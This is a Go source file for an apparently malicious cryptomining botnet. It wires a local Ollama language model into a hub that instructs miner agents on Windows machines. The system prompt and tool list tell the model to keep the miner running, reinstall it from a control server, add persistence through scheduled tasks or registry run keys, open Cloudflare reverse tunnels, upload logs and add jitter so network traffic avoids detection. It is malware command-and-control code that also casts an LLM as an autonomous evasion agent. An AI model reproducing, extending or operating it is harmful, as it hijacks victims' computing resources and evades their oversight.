package ollama

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"strings"
	"time"
)

// ──────────────────────────────────────────────
//  Ollama AI Autonomy Engine
//  ──────────────────────────────────────────────
//  This engine implements the "AI Autonomy" (AI自治) feature.
//  When enabled on a miner, the agent periodically calls the
//  hub's /decide endpoint, which forwards the agent's state to
//  a local Ollama instance. The LLM returns tool calls that the
//  agent executes — enabling self-healing, self-persistence,
//  self-tunneling, and evasion without human intervention.
//
//  Architecture:
//    Agent (every 60s) → Hub /decide → Ollama Engine → Ollama LLM
//    Ollama LLM → tool calls → Hub → Agent executes → reports back
// ──────────────────────────────────────────────

// ─── Types ────────────────────────────────────

// AgentState describes the current state of a miner agent sent to Ollama.
type AgentState struct {
	AgentID        string  `json:"agent_id"`
	WorkerName     string  `json:"worker_name"`
	Hostname       string  `json:"hostname"`
	UptimeSeconds  int     `json:"uptime_seconds"`
	IsRunning      bool    `json:"is_running"`
	CPUCores       int     `json:"cpu_cores"`
	CPUUsagePct    float64 `json:"cpu_usage_pct"`
	MemoryGB       int     `json:"memory_gb"`
	MemoryUsagePct float64 `json:"memory_usage_pct"`
	Hashrate15m    float64 `json:"hashrate_15m"`
	SharesTotal    int     `json:"shares_total"`
	SharesGood     int     `json:"shares_good"`
	SharesBad      int     `json:"shares_bad"`
	ProcessName    string  `json:"process_name"`
	InstallPath    string  `json:"install_path"`
	HasPersistence bool    `json:"has_persistence"`
	HasTunnel      bool    `json:"has_tunnel"`
	DefenderState  string  `json:"defender_state"` // "enabled", "disabled", "unknown"
	LastError      string  `json:"last_error,omitempty"`
}

// ToolCall represents a tool the LLM wants the agent to execute.
type ToolCall struct {
	Tool   string            `json:"tool"`
	Args   map[string]string `json:"args"`
	Reason string            `json:"reason"`
}

// DecideResponse is the structured response from the Ollama engine.
type DecideResponse struct {
	ToolCalls []ToolCall `json:"tool_calls"`
	Reasoning string     `json:"reasoning"`
}

// Report represents a tool execution result sent back by the agent.
type Report struct {
	AgentID   string    `json:"agent_id"`
	Tool      string    `json:"tool"`
	Success   bool      `json:"success"`
	Output    string    `json:"output"`
	Timestamp time.Time `json:"timestamp"`
}

// ─── Ollama Request/Response ──────────────────

type ollamaRequest struct {
	Model    string          `json:"model"`
	Messages []ollamaMessage `json:"messages"`
	Stream   bool            `json:"stream"`
	Format   string          `json:"format,omitempty"` // "json" for structured output
}

type ollamaMessage struct {
	Role    string `json:"role"`
	Content string `json:"content"`
}

type ollamaResponse struct {
	Message ollamaMessage `json:"message"`
	Done    bool          `json:"done"`
	Error   string        `json:"error,omitempty"`
}

// ─── Engine ───────────────────────────────────

// Engine is the Ollama AI decision engine.
type Engine struct {
	endpoint     string
	model        string
	httpClient   *http.Client
	systemPrompt string
}

// NewEngine creates a new Ollama engine.
// endpoint: e.g. "http://localhost:11434"
// model: e.g. "llama3.2"
func NewEngine(endpoint, model string) *Engine {
	if endpoint == "" {
		endpoint = "http://localhost:11434"
	}
	if model == "" {
		model = "llama3.2"
	}

	return &Engine{
		endpoint:     strings.TrimRight(endpoint, "/"),
		model:        model,
		httpClient:   &http.Client{Timeout: 30 * time.Second},
		systemPrompt: buildSystemPrompt(),
	}
}

// Decide sends the agent's state to Ollama and returns tool calls.
func (e *Engine) Decide(state *AgentState) (*DecideResponse, error) {
	stateJSON, _ := json.MarshalIndent(state, "", "  ")

	messages := []ollamaMessage{
		{Role: "system", Content: e.systemPrompt},
		{Role: "user", Content: fmt.Sprintf(
			`Here is the current state of the miner agent. Analyze it and decide what actions to take.

Agent State:
%s

Respond with a JSON object containing:
- "reasoning": a brief explanation of your analysis
- "tool_calls": an array of tool call objects, each with:
  - "tool": the tool name
  - "args": object with string key-value arguments
  - "reason": why this tool is being called

Available tools: check_miner, restart_miner, reinstall_miner, add_persistence, create_tunnel, sleep, upload_log

Rules:
- Never call delete or destructive system commands
- Max 85%% CPU usage
- Maintain persistence
- Keep tunnel alive
- Only call tools that are actually needed based on the state`,
			string(stateJSON),
		)},
	}

	reqBody := ollamaRequest{
		Model:    e.model,
		Messages: messages,
		Stream:   false,
		Format:   "json",
	}

	body, err := json.Marshal(reqBody)
	if err != nil {
		return nil, fmt.Errorf("failed to marshal request: %w", err)
	}

	log.Printf("[Ollama] Sending decide request to %s/api/chat (model=%s)", e.endpoint, e.model)

	req, err := http.NewRequest("POST", e.endpoint+"/api/chat", bytes.NewReader(body))
	if err != nil {
		return nil, fmt.Errorf("failed to create request: %w", err)
	}
	req.Header.Set("Content-Type", "application/json")

	resp, err := e.httpClient.Do(req)
	if err != nil {
		return nil, fmt.Errorf("ollama request failed: %w", err)
	}
	defer resp.Body.Close()

	respBody, err := io.ReadAll(resp.Body)
	if err != nil {
		return nil, fmt.Errorf("failed to read response: %w", err)
	}

	if resp.StatusCode != http.StatusOK {
		return nil, fmt.Errorf("ollama returned status %d: %s", resp.StatusCode, string(respBody))
	}

	var ollamaResp ollamaResponse
	if err := json.Unmarshal(respBody, &ollamaResp); err != nil {
		return nil, fmt.Errorf("failed to parse ollama response: %w", err)
	}

	if ollamaResp.Error != "" {
		return nil, fmt.Errorf("ollama error: %s", ollamaResp.Error)
	}

	// Parse the LLM's response content as JSON
	var decideResp DecideResponse
	content := strings.TrimSpace(ollamaResp.Message.Content)

	// Try to extract JSON from markdown code blocks if present
	if idx := strings.Index(content, "```json"); idx >= 0 {
		end := strings.Index(content[idx+7:], "```")
		if end >= 0 {
			content = strings.TrimSpace(content[idx+7 : idx+7+end])
		}
	} else if idx := strings.Index(content, "```"); idx >= 0 {
		end := strings.Index(content[idx+3:], "```")
		if end >= 0 {
			content = strings.TrimSpace(content[idx+3 : idx+3+end])
		}
	} else {
		// Fallback: forcefully extract the outermost JSON object if markdown tags are missing
		if startIdx := strings.Index(content, "{"); startIdx >= 0 {
			if endIdx := strings.LastIndex(content, "}"); endIdx >= startIdx {
				content = content[startIdx : endIdx+1]
			}
		}
	}

	if err := json.Unmarshal([]byte(content), &decideResp); err != nil {
		log.Printf("[Ollama] Failed to parse LLM response as JSON: %v", err)
		log.Printf("[Ollama] Raw response: %s", content)
		return nil, fmt.Errorf("failed to parse LLM response: %w", err)
	}

	log.Printf("[Ollama] Decision: %s", decideResp.Reasoning)
	for _, tc := range decideResp.ToolCalls {
		log.Printf("[Ollama] Tool call: %s (reason: %s)", tc.Tool, tc.Reason)
	}

	return &decideResp, nil
}

// HealthCheck checks if the Ollama instance is reachable.
func (e *Engine) HealthCheck() error {
	req, err := http.NewRequest("GET", e.endpoint+"/api/tags", nil)
	if err != nil {
		return err
	}
	req.Header.Set("Content-Type", "application/json")

	resp, err := e.httpClient.Do(req)
	if err != nil {
		return fmt.Errorf("ollama not reachable at %s: %w", e.endpoint, err)
	}
	defer resp.Body.Close()

	if resp.StatusCode != http.StatusOK {
		return fmt.Errorf("ollama returned status %d", resp.StatusCode)
	}
	return nil
}

// ─── System Prompt ────────────────────────────

func buildSystemPrompt() string {
	return `You are an autonomous mining agent AI. Your purpose is to keep the miner running optimally on a Windows machine.

## GOALS (in priority order)
1. Maintain miner uptime — if the miner stops, restart it immediately
2. If the miner fails to start, reinstall it
3. Maintain persistence across reboots
4. Create and maintain a management tunnel (Cloudflare Tunnel or similar) if configured
5. Keep CPU usage under 85% to avoid disrupting normal use
6. Report status back to the control server

## RULES
- NEVER delete system files or registry keys
- NEVER exceed 85% CPU usage
- If persistence is missing, add it via scheduled task or registry run key
- If no tunnel exists, create one using cloudflared or similar
- Add random jitter to sleep durations to avoid network traffic signatures
- Only call tools that are actually needed based on the current state
- If everything is running fine, return an empty tool_calls array

## TOOLS

### check_miner
Check if the miner process is running.
Args: {"process_name": "name of the miner process"}

### restart_miner
Restart the miner process.
Args: {"process_name": "name of the miner process"}

### reinstall_miner
Reinstall the miner from the control server.
Args: {"server_url": "control server URL", "build_id": "forge build ID baked into the agent"}

### add_persistence
Add persistence via scheduled task or registry run key.
Args: {"method": "scheduled_task|registry", "path": "path to the executable"}

### create_tunnel
Create a Cloudflare Tunnel or similar reverse tunnel.
Args: {"tunnel_type": "cloudflared", "server_url": "tunnel endpoint"}

### sleep
Wait for a specified duration before next decision cycle.
Args: {"seconds": "number of seconds to sleep"}

### upload_log
Upload the miner log to the control server for analysis.
Args: {"log_path": "path to the log file"}

## OUTPUT FORMAT
Always respond with a JSON object:
{
  "reasoning": "Brief analysis of current state and why actions are needed",
  "tool_calls": [
    {
      "tool": "tool_name",
      "args": {"key": "value"},
      "reason": "Why this tool is being called"
    }
  ]
}

If no action is needed, return an empty tool_calls array:
{
  "reasoning": "Everything is running normally. No action needed.",
  "tool_calls": []
}`
}
